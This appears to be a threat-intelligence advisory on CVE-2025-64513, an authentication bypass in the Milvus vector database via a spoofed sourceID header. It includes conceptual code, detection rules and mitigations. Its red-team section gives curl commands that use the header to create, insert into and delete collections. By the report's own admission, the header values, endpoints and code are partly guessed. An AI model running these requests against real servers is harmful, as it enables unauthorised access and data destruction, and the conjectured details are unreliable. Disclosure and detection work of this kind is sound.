CVE-2025-64513

Executive Summary

CVE-2025-64513 is a critical authentication bypass vulnerability in the Milvus open-source vector database, affecting versions prior to 2.4.24, 2.5.21, and 2.6.5. An unauthenticated attacker can exploit this flaw by manipulating the sourceID header in HTTP requests to the Milvus Proxy component, effectively bypassing all authentication mechanisms. This grants full administrative access to the Milvus cluster, allowing the attacker to read, modify, or delete any data, and perform privileged operations such as database or collection management. The vulnerability has a CVSS score of 10.0 (Critical) due to its network-based, low-complexity attack vector requiring no privileges or user interaction. Immediate patching is strongly recommended; if not possible, a temporary mitigation involves stripping the sourceID header at the gateway or load balancer level.

Supply Chain & Package Security

Milvus is distributed as a Docker image and Python package (pymilvus). Users should verify they are not using a vulnerable version of the server component. The Python client library itself is not directly vulnerable, but it can be used to interact with a vulnerable server. Ensure the server-side Milvus binary is updated to the patched versions.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to all data in the database.
• Integrity (I): High – Full write/modify access to all data.
• Availability (A): High – Ability to delete data or disrupt service.

Deep Dive & Mechanics

The vulnerability resides in the Milvus Proxy component, which is responsible for handling incoming client requests and enforcing authentication. The proxy uses a sourceID header to identify the source of a request, and under certain conditions, this header can be used to bypass authentication checks.

Root Cause: The authentication logic in the proxy incorrectly trusts the sourceID header. When a request includes a sourceID header with a specific value (likely an internal or trusted source identifier), the proxy skips the authentication process entirely. An unauthenticated attacker can simply set this header to the expected value, and the proxy will treat the request as if it came from an authenticated internal source.

Attack Flow:

1. The attacker identifies a Milvus instance exposed to the network.
2. The attacker crafts an HTTP request to the Milvus Proxy endpoint (e.g., /api/v1/collections, /api/v1/insert, etc.).
3. The attacker includes a sourceID header with a value that the proxy considers trusted (e.g., sourceID: internal or sourceID: 0).
4. The proxy receives the request, sees the trusted sourceID, and skips authentication.
5. The attacker can now perform any operation as an administrator, including creating/dropping collections, inserting/querying/deleting vectors, and managing users.

Vulnerable vs. Patched Code

The exact code change is not publicly available, but based on the mitigation advice, the fix involves either:

• Removing the sourceID header-based authentication bypass entirely.
• Validating the sourceID header against a list of authenticated sources.
• Requiring proper authentication even when a sourceID header is present.

Vulnerable Code (Conceptual):

# In Milvus Proxy request handler
def handle_request(request):
    source_id = request.headers.get('sourceID')
    if source_id == 'internal':
        # Bypass authentication for internal requests
        user = get_admin_user()
    else:
        user = authenticate(request)
    # Process request with user

Patched Code (Conceptual):

# In Milvus Proxy request handler
def handle_request(request):
    # Always authenticate, regardless of sourceID
    user = authenticate(request)
    # Process request with user

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Milvus instance (e.g., version 2.4.23) using Docker:

   docker run -d --name milvus_vuln -p 19530:19530 milvusdb/milvus:v2.4.23
   

2. Ensure the instance is accessible from the attacker machine.

Exploitation Steps:

1. Use curl to interact with the Milvus Proxy without authentication:

   # List collections (requires admin privileges)
   curl -X POST "http://<target>:19530/api/v1/collections" \
        -H "sourceID: internal" \
        -H "Content-Type: application/json" \
        -d '{}'
   

2. Create a new collection:

   curl -X POST "http://<target>:19530/api/v1/collections" \
        -H "sourceID: internal" \
        -H "Content-Type: application/json" \
        -d '{"collection_name": "malicious", "dimension": 128}'
   

3. Insert malicious data:

   curl -X POST "http://<target>:19530/api/v1/insert" \
        -H "sourceID: internal" \
        -H "Content-Type: application/json" \
        -d '{"collection_name": "malicious", "vectors": [[0.1, 0.2, ...]]}'
   

4. Delete all data:

   curl -X DELETE "http://<target>:19530/api/v1/collections/malicious" \
        -H "sourceID: internal"
   

Blue Team (Defensive)

Detection:

• Monitor for requests containing the sourceID header from untrusted IP addresses.
• Alert on any administrative operations (create/drop collection, user management) performed without prior authentication.
• Use network monitoring to detect anomalous traffic patterns to the Milvus Proxy.

Mitigation:

• Immediately upgrade to a patched version (2.4.24, 2.5.21, or 2.6.5).
• If upgrade is not possible, configure the gateway/load balancer to strip the sourceID header from all incoming requests:

  # Nginx example
  location / {
      proxy_set_header sourceID "";
      proxy_pass http://milvus_backend;
  }
  

• Restrict network access to the Milvus Proxy to only trusted IP addresses.
• Enable logging and monitoring for all API requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to Milvus Proxy endpoints (e.g., /api/v1/collections, /api/v1/insert) containing a sourceID header.
  • Requests from IP addresses not in the trusted list performing administrative actions.
• System IOCs:
  • Unexpected collections or data in the Milvus database.
  • Log entries showing authentication bypass (e.g., "Authenticated as admin" without prior login).
  • Unusual API call patterns, such as rapid creation/deletion of collections.
• File IOCs:
  • Milvus server logs (/var/log/milvus/) showing requests with sourceID header.

Detection Engineering

YARA Rule

rule CVE_2025_64513_Milvus_AuthBypass {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-64513 in Milvus"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64513"
    strings:
        $header = "sourceID" nocase
        $admin_op = "collections" nocase
        $insert_op = "insert" nocase
        $delete_op = "delete" nocase
    condition:
        $header and ($admin_op or $insert_op or $delete_op)
}

Sigma Rule

title: CVE-2025-64513 Milvus Authentication Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Milvus Proxy with sourceID header indicating authentication bypass attempt.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: milvus
detection:
    selection:
        http.request.headers.sourceID: "*"
    condition: selection
falsepositives:
    - Legitimate internal requests if sourceID is used for internal routing (should be removed in patched versions)
level: critical

Suricata Rule

alert http any any -> any 19530 (msg:"CVE-2025-64513 Milvus Authentication Bypass Attempt"; flow:to_server; content:"sourceID"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Milvus to version 2.4.24, 2.5.21, or 2.6.5 (or later).
2. If upgrade is not possible, configure the gateway/load balancer to strip the sourceID header from all incoming requests before they reach the Milvus Proxy.
3. Restrict network access to the Milvus Proxy using firewall rules or network policies.
4. Enable detailed logging on the Milvus Proxy to capture all requests, including headers.

Long-term Measures:

• Implement a Web Application Firewall (WAF) to block requests with suspicious headers.
• Conduct a security audit of all internal services that use header-based authentication.
• Regularly update Milvus and other dependencies to the latest versions.
• Monitor for any signs of compromise, such as unauthorized data access or modification.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or support, contact cti@valters-it.com.